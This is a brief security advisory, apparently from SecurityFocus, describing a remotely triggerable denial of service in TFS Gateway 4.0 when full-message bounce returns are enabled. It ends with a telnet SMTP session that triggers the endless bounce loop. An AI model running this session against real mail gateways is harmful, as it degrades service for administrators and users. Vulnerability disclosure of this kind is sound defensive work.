source: http://www.securityfocus.com/bid/613/info

TFS Gateway 4.0, when configured in a specific non-default manner, is vulnerable to a remotely exploitable denial of service attack. If 'return entire message to sender' is enabled for failed send attempts, and an email is sent to the TFS Gateway with 1: the From: address set to an invalid address on a remote machine and 2: an invalid To: address on the target machine, the gateway will attempt to return the complete message once every 10 seconds until an administrator manually stops it. If enough emails of sufficient size of this nature are sent it can lead to a degradation or denial of service.

telnet to Gateway smtp server and enter the following commands:

HELO
MAIL FROM: invalid@remote.com
RCPT TO: invalid@target.com
DATA

.
QUIT